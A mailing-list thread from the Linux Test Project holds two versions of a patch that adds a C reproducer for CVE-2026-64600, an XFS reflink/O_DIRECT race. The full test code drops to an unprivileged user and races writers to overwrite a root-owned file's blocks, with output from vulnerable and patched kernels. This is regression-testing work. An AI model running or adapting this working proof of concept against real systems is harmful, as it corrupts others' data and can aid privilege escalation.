All of lore.kernel.org
 help / color / mirror / Atom feed
* [LTP] [PATCH] cve: reproducer for cve-2026-64600
@ 2026-07-24  8:28 Andrea Cervesato
  2026-07-24  9:25 ` [LTP] " linuxtestproject.agent
  0 siblings, 1 reply; 6+ messages in thread
From: Andrea Cervesato @ 2026-07-24  8:28 UTC (permalink / raw)
  To: Linux Test Project

From: Andrea Cervesato <andrea.cervesato@suse.com>

Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS
reflink copy-on-write path for direct I/O writes. The bug was introduced
in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW
blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample
the data fork mapping after cycling ILOCK").

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
This reproducer has been created with the usage of Kimi K3 (as analyzer
and writer) and DeepSeek v4 Flash (Max) as reviewer, by taking the
RefluXFS technical paper as input:
https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt

On bugged kernel:

tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #21 SMP PREEMPT_DYNAMIC Fri Jul 24 10:20:05 CEST 2026 x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config'
tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s
cve-2026-64600.c:233: TFAIL: round 0: racing O_DIRECT write to the clone succeeded
[    1.252815] cve-2026-646
HINT: You _MAY_ be missing kernel fixes:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2f4acd0fcd86

HINT: You _MAY_ be vulnerable to CVE(s):

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64600

Summary:
passed   0
failed   1
broken   0
skipped  0
warnings 0

On patched kernel:

tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #20 SMP PREEMPT_DYNAMIC Fri Jul 24 10:08:53 CEST 2026 x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config'
tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s
[    1.665909] clocksource: Watchdog remote CPU 2 read timed out
[    8.099229] cve-2026-64600 (249) used greatest stack depth: 12216 bytes left
cve-2026-64600.c:242: TPASS: Source file survived racing O_DIRECT writers

Summary:
passed   1
failed   0
broken   0
skipped  0
warnings 0
---
 runtest/cve                              |   1 +
 testcases/kernel/fs/xfs/.gitignore       |   1 +
 testcases/kernel/fs/xfs/Makefile         |   7 +
 testcases/kernel/fs/xfs/cve-2026-64600.c | 283 +++++++++++++++++++++++++++++++
 4 files changed, 292 insertions(+)

diff --git a/runtest/cve b/runtest/cve
index 3bbcfd6a2f2fb204fc6ae4ba89b5a7554c2fcbc5..388d471b9d138004207cdef5414e3e78d1980a32 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -100,3 +100,4 @@ cve-2026-43494 io_uring04
 cve-2026-46300 xfrm02
 cve-2026-46300-skb-segment xfrm03
 cve-2026-46331 cve-2026-46331
+cve-2026-64600 cve-2026-64600
diff --git a/testcases/kernel/fs/xfs/.gitignore b/testcases/kernel/fs/xfs/.gitignore
new file mode 100644
index 0000000000000000000000000000000000000000..2b287f6c1195c1307ee8629a282fc4d3f759e5ed
--- /dev/null
+++ b/testcases/kernel/fs/xfs/.gitignore
@@ -0,0 +1 @@
+/cve-2026-64600
diff --git a/testcases/kernel/fs/xfs/Makefile b/testcases/kernel/fs/xfs/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..699efd876f25cb3cd5d86dfe001404f8ebfc4d51
--- /dev/null
+++ b/testcases/kernel/fs/xfs/Makefile
@@ -0,0 +1,7 @@
+top_srcdir			?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+LDLIBS			+= -lpthread
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/fs/xfs/cve-2026-64600.c b/testcases/kernel/fs/xfs/cve-2026-64600.c
new file mode 100644
index 0000000000000000000000000000000000000000..0bca95f8f2ad31f0269de07625d28d733092ef49
--- /dev/null
+++ b/testcases/kernel/fs/xfs/cve-2026-64600.c
@@ -0,0 +1,283 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS
+ * reflink copy-on-write path for direct I/O writes. The bug was introduced
+ * in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW
+ * blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample
+ * the data fork mapping after cycling ILOCK").
+ *
+ * When an :manpage:`ioctl(2)` FICLONE clone is written via ``O_DIRECT``,
+ * ``xfs_direct_write_iomap_begin()`` samples the clone's data-fork mapping
+ * under ILOCK and calls ``xfs_reflink_allocate_cow()``, which drops the
+ * ILOCK to allocate a transaction and then re-checks whether the *stale*
+ * physical block is still shared. If a second racing ``O_DIRECT`` writer
+ * completes a full copy-on-write cycle inside that lock-drop window, the
+ * old shared block's refcount drops to one, the first writer takes the
+ * "not shared, write in place" branch, and its write is submitted to the
+ * physical block that now belongs only to the reflink source file,
+ * corrupting it on disk.
+ *
+ * [Algorithm]
+ *
+ * - Create a root-owned target file on a reflink-enabled XFS and fill
+ *   its first block with a known pattern
+ * - Drop privileges to the unprivileged user ``nobody``
+ * - Positive control: a single ``O_DIRECT`` write to a fresh clone must
+ *   be copy-on-written and leave the target untouched
+ * - Each round: reflink-clone the target into a scratch clone file and
+ *   release a barrier of threads, each issuing one block-sized
+ *   ``O_DIRECT`` :manpage:`pwrite(2)` at offset 0 of the clone
+ * - Background threads loop on write/fdatasync/truncate cycles to stall
+ *   transaction allocation on log space and widen the lock-drop window
+ * - After each round, read back the target's first block bypassing the
+ *   page cache (``O_DIRECT``): any byte differing from the original
+ *   pattern means a racing write refluxed into the source file and the
+ *   kernel is vulnerable
+ *
+ * Root privilege is regained in cleanup() so the library can unmount
+ * the loop device.
+ */
+
+#define _GNU_SOURCE
+
+#include <pwd.h>
+
+#include "tst_test.h"
+#include "tst_safe_pthread.h"
+#include "tst_safe_prw.h"
+#include "lapi/ficlone.h"
+
+#define MNTPOINT	"mnt"
+#define WORKDIR		MNTPOINT "/work"
+#define TARGET		WORKDIR "/target"
+#define CLONE		WORKDIR "/clone"
+#define SCRATCH_FMT	WORKDIR "/scratch%d"
+
+#define BLKSIZE		4096
+#define NWRITERS	32
+#define NPRESSURE	16
+#define MAX_ROUNDS	5000
+
+static char *tbuf, *wbuf, *rbuf;
+
+static int target_fd = -1;
+static int target_dio_fd = -1;
+static int clone_fd = -1;
+
+static pthread_t writers[NWRITERS];
+static pthread_t pressure_threads[NPRESSURE];
+static pthread_barrier_t barrier;
+static int barrier_initialized;
+static volatile sig_atomic_t stop_pressure;
+static int pressure_running;
+static int privileges_dropped;
+
+static void *writer_fn(void *arg)
+{
+	int fd;
+
+	(void)arg;
+
+	fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+
+	SAFE_PTHREAD_BARRIER_WAIT(&barrier);
+
+	SAFE_PWRITE(1, fd, wbuf, BLKSIZE, 0);
+	SAFE_CLOSE(fd);
+
+	return NULL;
+}
+
+static void *pressure_fn(void *arg)
+{
+	char path[PATH_MAX];
+	int fd;
+
+	snprintf(path, sizeof(path), SCRATCH_FMT, (int)(long)arg);
+
+	fd = SAFE_OPEN(path, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+	while (!stop_pressure) {
+		SAFE_PWRITE(1, fd, wbuf, BLKSIZE, 0);
+		SAFE_FTRUNCATE(fd, 0);
+		SAFE_FSYNC(fd);
+	}
+
+	SAFE_CLOSE(fd);
+
+	return NULL;
+}
+
+static void stop_pressure_threads(void)
+{
+	if (!pressure_running)
+		return;
+
+	stop_pressure = 1;
+
+	for (int i = 0; i < NPRESSURE; i++)
+		SAFE_PTHREAD_JOIN(pressure_threads[i], NULL);
+
+	pressure_running = 0;
+}
+
+static void drop_privileges(void)
+{
+	struct passwd *pw;
+
+	pw = SAFE_GETPWNAM("nobody");
+	SAFE_SETEGID(pw->pw_gid);
+	SAFE_SETEUID(pw->pw_uid);
+
+	privileges_dropped = 1;
+}
+
+static void restore_privileges(void)
+{
+	if (!privileges_dropped)
+		return;
+
+	SAFE_SETEUID(0);
+	SAFE_SETEGID(0);
+
+	privileges_dropped = 0;
+}
+
+static void setup(void)
+{
+	int probe_fd, probe_dio_fd;
+
+	tbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE);
+	wbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE);
+	rbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE);
+
+	memset(tbuf, 'A', BLKSIZE);
+	memset(wbuf, 'X', BLKSIZE);
+	memset(rbuf, 0, BLKSIZE);
+
+	SAFE_MKDIR(WORKDIR, 0700);
+	SAFE_CHMOD(WORKDIR, 0777);
+
+	target_fd = SAFE_OPEN(TARGET, O_RDWR | O_CREAT | O_TRUNC, 0644);
+	SAFE_WRITE(1, target_fd, tbuf, BLKSIZE);
+	SAFE_FSYNC(target_fd);
+	SAFE_CLOSE(target_fd);
+
+	drop_privileges();
+
+	target_fd = SAFE_OPEN(TARGET, O_RDONLY);
+	probe_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+	TEST(ioctl(probe_fd, FICLONE, target_fd));
+	if (TST_RET == -1) {
+		if (TST_ERR == EOPNOTSUPP || TST_ERR == EINVAL || TST_ERR == ENOSYS) {
+			tst_brk(TCONF, "reflink clones not supported: %s",
+				tst_strerrno(TST_ERR));
+		}
+
+		tst_brk(TBROK | TTERRNO, "ioctl(FICLONE) failed");
+	}
+
+	probe_dio_fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+	SAFE_PWRITE(1, probe_dio_fd, wbuf, BLKSIZE, 0);
+	SAFE_CLOSE(probe_dio_fd);
+	SAFE_CLOSE(probe_fd);
+
+	/* The racy write bypasses the target's page cache, so must the read */
+	target_dio_fd = SAFE_OPEN(TARGET, O_RDONLY | O_DIRECT);
+
+	SAFE_PREAD(1, target_dio_fd, rbuf, BLKSIZE, 0);
+	if (memcmp(rbuf, tbuf, BLKSIZE))
+		tst_brk(TBROK, "Source file modified by a single O_DIRECT write to the clone");
+
+	SAFE_PTHREAD_BARRIER_INIT(&barrier, NULL, NWRITERS + 1);
+	barrier_initialized = 1;
+}
+
+static void run(void)
+{
+	int i, round, corrupted = 0;
+
+	stop_pressure = 0;
+
+	for (i = 0; i < NPRESSURE; i++)
+		SAFE_PTHREAD_CREATE(&pressure_threads[i], NULL, pressure_fn,
+				    (void *)(long)i);
+	pressure_running = 1;
+
+	for (round = 0; round < MAX_ROUNDS; round++) {
+		clone_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+		/*
+		 * target_fd is O_RDONLY opened as "nobody".  FICLONE
+		 * checks inode permission against our effective UID.
+		 */
+		SAFE_IOCTL(clone_fd, FICLONE, target_fd);
+		SAFE_CLOSE(clone_fd);
+
+		for (i = 0; i < NWRITERS; i++)
+			SAFE_PTHREAD_CREATE(&writers[i], NULL, writer_fn, NULL);
+
+		SAFE_PTHREAD_BARRIER_WAIT(&barrier);
+
+		for (i = 0; i < NWRITERS; i++)
+			SAFE_PTHREAD_JOIN(writers[i], NULL);
+
+		SAFE_PREAD(1, target_dio_fd, rbuf, BLKSIZE, 0);
+
+		if (memcmp(rbuf, tbuf, BLKSIZE)) {
+			tst_res(TFAIL, "round %d: racing O_DIRECT write to the clone succeeded", round);
+			corrupted = 1;
+			break;
+		}
+	}
+
+	stop_pressure_threads();
+
+	if (!corrupted)
+		tst_res(TPASS, "Source file survived racing O_DIRECT writers");
+}
+
+static void cleanup(void)
+{
+	stop_pressure_threads();
+	restore_privileges();
+
+	if (barrier_initialized)
+		SAFE_PTHREAD_BARRIER_DESTROY(&barrier);
+
+	if (target_dio_fd != -1)
+		SAFE_CLOSE(target_dio_fd);
+
+	if (target_fd != -1)
+		SAFE_CLOSE(target_fd);
+
+	if (clone_fd != -1)
+		SAFE_CLOSE(clone_fd);
+
+	free(tbuf);
+	free(wbuf);
+	free(rbuf);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNTPOINT,
+	.filesystems = (struct tst_fs []) {
+		{.type = "xfs"},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "2f4acd0fcd86"},
+		{"CVE", "2026-64600"},
+		{}
+	},
+};

---
base-commit: d12a6186b60491cfa72e10944bd312e75b684c5e
change-id: 20260724-cve-2026-64600-53fd6d627d63

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 6+ messages in thread
* [LTP] [PATCH v2] cve: reproducer for cve-2026-64600
@ 2026-07-24 12:54 Andrea Cervesato
  2026-07-24 17:56 ` [LTP] " linuxtestproject.agent
  0 siblings, 1 reply; 6+ messages in thread
From: Andrea Cervesato @ 2026-07-24 12:54 UTC (permalink / raw)
  To: Linux Test Project

From: Andrea Cervesato <andrea.cervesato@suse.com>

Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS
reflink copy-on-write path for direct I/O writes. The bug was introduced
in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW
blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample
the data fork mapping after cycling ILOCK").

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
This reproducer has been created with the usage of Kimi K3 (as analyzer
and writer) and DeepSeek v4 Flash (Max) as reviewer, by taking the
RefluXFS technical paper as input:
https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt

On bugged kernel:

tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #21 SMP PREEMPT_DYNAMIC Fri Jul 24 10:20:05 CEST 2026 x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config'
tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s
cve-2026-64600.c:233: TFAIL: round 0: racing O_DIRECT write to the clone succeeded
[    1.252815] cve-2026-646
HINT: You _MAY_ be missing kernel fixes:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2f4acd0fcd86

HINT: You _MAY_ be vulnerable to CVE(s):

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64600

Summary:
passed   0
failed   1
broken   0
skipped  0
warnings 0

On patched kernel:

tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #20 SMP PREEMPT_DYNAMIC Fri Jul 24 10:08:53 CEST 2026 x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config'
tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s
[    1.665909] clocksource: Watchdog remote CPU 2 read timed out
[    8.099229] cve-2026-64600 (249) used greatest stack depth: 12216 bytes left
cve-2026-64600.c:242: TPASS: Source file survived racing O_DIRECT writers

Summary:
passed   1
failed   0
broken   0
skipped  0
warnings 0
---
Changes in v2:
- rename refluxfs.c
- ensure reflink=1 for mkfs.xfs
- remove root restore
- Link to v1: https://lore.kernel.org/20260724-cve-2026-64600-v1-1-8fa214385d2e@suse.com
---
 runtest/cve              |   1 +
 testcases/cve/.gitignore |   1 +
 testcases/cve/Makefile   |   2 +-
 testcases/cve/refluxfs.c | 274 +++++++++++++++++++++++++++++++++++++++++++++++
 4 files changed, 277 insertions(+), 1 deletion(-)

diff --git a/runtest/cve b/runtest/cve
index 3bbcfd6a2f2fb204fc6ae4ba89b5a7554c2fcbc5..d1b855d61af3c7fd046ce3c748a151346d679350 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -100,3 +100,4 @@ cve-2026-43494 io_uring04
 cve-2026-46300 xfrm02
 cve-2026-46300-skb-segment xfrm03
 cve-2026-46331 cve-2026-46331
+cve-2026-64600 refluxfs
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index bc1af0dd2c8086e4f5f78a3b15b91fafbd8f5936..5aa038cd5871424967035b39bd3945a038ad13b8 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -16,3 +16,4 @@ tcindex01
 cve-2025-38236
 cve-2025-21756
 cve-2026-46331
+refluxfs
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index 98c38e90801a21eedad986273d537b16f3e4eb91..6be4999a3ea256cf48520c877400dfca19461177 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -11,7 +11,7 @@ stack_clash:	CFLAGS += -fno-optimize-sibling-calls -Wno-infinite-recursion
 
 cve-2016-7042:	LDLIBS += $(KEYUTILS_LIBS)
 
-cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053:  CFLAGS += -pthread
+cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 refluxfs:  CFLAGS += -pthread
 cve-2014-0196 cve-2016-7117 cve-2017-2671:  LDLIBS += -lrt
 
 ifneq ($(ANDROID),1)
diff --git a/testcases/cve/refluxfs.c b/testcases/cve/refluxfs.c
new file mode 100644
index 0000000000000000000000000000000000000000..bfb85bfb0a49d524b74646040ae3ce7b7d05f5ab
--- /dev/null
+++ b/testcases/cve/refluxfs.c
@@ -0,0 +1,274 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS
+ * reflink copy-on-write path for direct I/O writes. The bug was introduced
+ * in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW
+ * blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample
+ * the data fork mapping after cycling ILOCK").
+ *
+ * When an :manpage:`ioctl(2)` FICLONE clone is written via ``O_DIRECT``,
+ * ``xfs_direct_write_iomap_begin()`` samples the clone's data-fork mapping
+ * under ILOCK and calls ``xfs_reflink_allocate_cow()``, which drops the
+ * ILOCK to allocate a transaction and then re-checks whether the *stale*
+ * physical block is still shared. If a second racing ``O_DIRECT`` writer
+ * completes a full copy-on-write cycle inside that lock-drop window, the
+ * old shared block's refcount drops to one, the first writer takes the
+ * "not shared, write in place" branch, and its write is submitted to the
+ * physical block that now belongs only to the reflink source file,
+ * corrupting it on disk.
+ *
+ * [Algorithm]
+ *
+ * - Create a root-owned target file on a reflink-enabled XFS and fill
+ *   its first block with a known pattern
+ * - Drop privileges to the unprivileged user ``nobody``
+ * - Positive control: a single ``O_DIRECT`` write to a fresh clone must
+ *   be copy-on-written and leave the target untouched
+ * - Each round: reflink-clone the target into a scratch clone file and
+ *   release a barrier of threads, each issuing one block-sized
+ *   ``O_DIRECT`` :manpage:`pwrite(2)` at offset 0 of the clone
+ * - Background threads loop on write/fdatasync/truncate cycles to stall
+ *   transaction allocation on log space and widen the lock-drop window
+ * - After each round, read back the target's first block bypassing the
+ *   page cache (``O_DIRECT``): any byte differing from the original
+ *   pattern means a racing write refluxed into the source file and the
+ *   kernel is vulnerable
+ *
+ * Root privilege is regained in cleanup() so the library can unmount
+ * the loop device.
+ */
+
+#include <pwd.h>
+
+#include "tst_test.h"
+#include "tst_safe_pthread.h"
+#include "tst_safe_prw.h"
+#include "lapi/ficlone.h"
+
+#define MNTPOINT	"mnt"
+#define WORKDIR		MNTPOINT "/work"
+#define TARGET		WORKDIR "/target"
+#define CLONE		WORKDIR "/clone"
+#define SCRATCH_FMT	WORKDIR "/scratch%d"
+
+#define BLKSIZE		4096
+#define NWRITERS	32
+#define NPRESSURE	16
+#define MAX_ROUNDS	5000
+
+static char *tbuf, *wbuf, *rbuf;
+
+static int target_fd = -1;
+static int target_dio_fd = -1;
+static int clone_fd = -1;
+
+static pthread_t writers[NWRITERS];
+static pthread_t pressure_threads[NPRESSURE];
+static pthread_barrier_t barrier;
+static int barrier_initialized;
+static volatile sig_atomic_t stop_pressure;
+static int pressure_running;
+
+static void *writer_fn(void *arg)
+{
+	int fd;
+
+	(void)arg;
+
+	fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+
+	SAFE_PTHREAD_BARRIER_WAIT(&barrier);
+
+	SAFE_PWRITE(1, fd, wbuf, BLKSIZE, 0);
+	SAFE_CLOSE(fd);
+
+	return NULL;
+}
+
+static void *pressure_fn(void *arg)
+{
+	char path[PATH_MAX];
+	int fd;
+
+	snprintf(path, sizeof(path), SCRATCH_FMT, (int)(long)arg);
+
+	fd = SAFE_OPEN(path, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+	while (!stop_pressure) {
+		SAFE_PWRITE(1, fd, wbuf, BLKSIZE, 0);
+		SAFE_FTRUNCATE(fd, 0);
+		SAFE_FSYNC(fd);
+	}
+
+	SAFE_CLOSE(fd);
+
+	return NULL;
+}
+
+static void stop_pressure_threads(void)
+{
+	if (!pressure_running)
+		return;
+
+	stop_pressure = 1;
+
+	for (int i = 0; i < NPRESSURE; i++)
+		SAFE_PTHREAD_JOIN(pressure_threads[i], NULL);
+
+	pressure_running = 0;
+}
+
+static void drop_privileges(void)
+{
+	struct passwd *pw;
+
+	pw = SAFE_GETPWNAM("nobody");
+	SAFE_SETEGID(pw->pw_gid);
+	SAFE_SETEUID(pw->pw_uid);
+}
+
+static void setup(void)
+{
+	int probe_fd, probe_dio_fd;
+
+	tbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE);
+	wbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE);
+	rbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE);
+
+	memset(tbuf, 'A', BLKSIZE);
+	memset(wbuf, 'X', BLKSIZE);
+	memset(rbuf, 0, BLKSIZE);
+
+	SAFE_MKDIR(WORKDIR, 0700);
+	SAFE_CHMOD(WORKDIR, 0777);
+
+	target_fd = SAFE_OPEN(TARGET, O_RDWR | O_CREAT | O_TRUNC, 0644);
+	SAFE_WRITE(1, target_fd, tbuf, BLKSIZE);
+	SAFE_FSYNC(target_fd);
+	SAFE_CLOSE(target_fd);
+
+	drop_privileges();
+
+	target_fd = SAFE_OPEN(TARGET, O_RDONLY);
+	probe_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+	TEST(ioctl(probe_fd, FICLONE, target_fd));
+	if (TST_RET == -1) {
+		if (TST_ERR == EOPNOTSUPP || TST_ERR == EINVAL || TST_ERR == ENOSYS) {
+			tst_brk(TCONF, "reflink clones not supported: %s",
+				tst_strerrno(TST_ERR));
+		}
+
+		tst_brk(TBROK | TTERRNO, "ioctl(FICLONE) failed");
+	}
+
+	probe_dio_fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+	SAFE_PWRITE(1, probe_dio_fd, wbuf, BLKSIZE, 0);
+	SAFE_CLOSE(probe_dio_fd);
+	SAFE_CLOSE(probe_fd);
+
+	/* The racy write bypasses the target's page cache, so must the read */
+	target_dio_fd = SAFE_OPEN(TARGET, O_RDONLY | O_DIRECT);
+
+	SAFE_PREAD(1, target_dio_fd, rbuf, BLKSIZE, 0);
+	if (memcmp(rbuf, tbuf, BLKSIZE))
+		tst_brk(TBROK, "Source file modified by a single O_DIRECT write to the clone");
+
+	SAFE_PTHREAD_BARRIER_INIT(&barrier, NULL, NWRITERS + 1);
+	barrier_initialized = 1;
+}
+
+static void run(void)
+{
+	int i, round, corrupted = 0;
+
+	stop_pressure = 0;
+
+	for (i = 0; i < NPRESSURE; i++)
+		SAFE_PTHREAD_CREATE(&pressure_threads[i], NULL, pressure_fn,
+				    (void *)(long)i);
+	pressure_running = 1;
+
+	for (round = 0; round < MAX_ROUNDS; round++) {
+		clone_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+		/*
+		 * target_fd is O_RDONLY opened as "nobody".  FICLONE
+		 * checks inode permission against our effective UID.
+		 */
+		SAFE_IOCTL(clone_fd, FICLONE, target_fd);
+		SAFE_CLOSE(clone_fd);
+
+		for (i = 0; i < NWRITERS; i++)
+			SAFE_PTHREAD_CREATE(&writers[i], NULL, writer_fn, NULL);
+
+		SAFE_PTHREAD_BARRIER_WAIT(&barrier);
+
+		for (i = 0; i < NWRITERS; i++)
+			SAFE_PTHREAD_JOIN(writers[i], NULL);
+
+		SAFE_PREAD(1, target_dio_fd, rbuf, BLKSIZE, 0);
+
+		if (memcmp(rbuf, tbuf, BLKSIZE)) {
+			tst_res(TFAIL, "round %d: racing O_DIRECT write to the clone succeeded", round);
+			corrupted = 1;
+			break;
+		}
+	}
+
+	stop_pressure_threads();
+
+	if (!corrupted)
+		tst_res(TPASS, "Source file survived racing O_DIRECT writers");
+}
+
+static void cleanup(void)
+{
+	stop_pressure_threads();
+
+	if (barrier_initialized)
+		SAFE_PTHREAD_BARRIER_DESTROY(&barrier);
+
+	if (target_dio_fd != -1)
+		SAFE_CLOSE(target_dio_fd);
+
+	if (target_fd != -1)
+		SAFE_CLOSE(target_fd);
+
+	if (clone_fd != -1)
+		SAFE_CLOSE(clone_fd);
+
+	free(tbuf);
+	free(wbuf);
+	free(rbuf);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNTPOINT,
+	.filesystems = (struct tst_fs []) {
+		{
+			.type = "xfs",
+			.min_kver = "4.16",
+			.mkfs_ver = "mkfs.xfs >= 1.5.0",
+			.mkfs_opts = (const char *const []) {
+				"-m", "reflink=1",
+				NULL
+			},
+		},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "2f4acd0fcd86"},
+		{"CVE", "2026-64600"},
+		{}
+	},
+};

---
base-commit: d12a6186b60491cfa72e10944bd312e75b684c5e
change-id: 20260724-cve-2026-64600-53fd6d627d63

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 6+ messages in thread

end of thread, other threads:[~2026-07-24 17:56 UTC | newest]

Thread overview: 6+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-24  8:28 [LTP] [PATCH] cve: reproducer for cve-2026-64600 Andrea Cervesato
2026-07-24  9:25 ` [LTP] " linuxtestproject.agent
2026-07-24  9:28   ` Cyril Hrubis
2026-07-24  9:31     ` Andrea Cervesato via ltp
2026-07-24 10:24       ` Cyril Hrubis
  -- strict thread matches above, loose matches on Subject: below --
2026-07-24 12:54 [LTP] [PATCH v2] " Andrea Cervesato
2026-07-24 17:56 ` [LTP] " linuxtestproject.agent

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.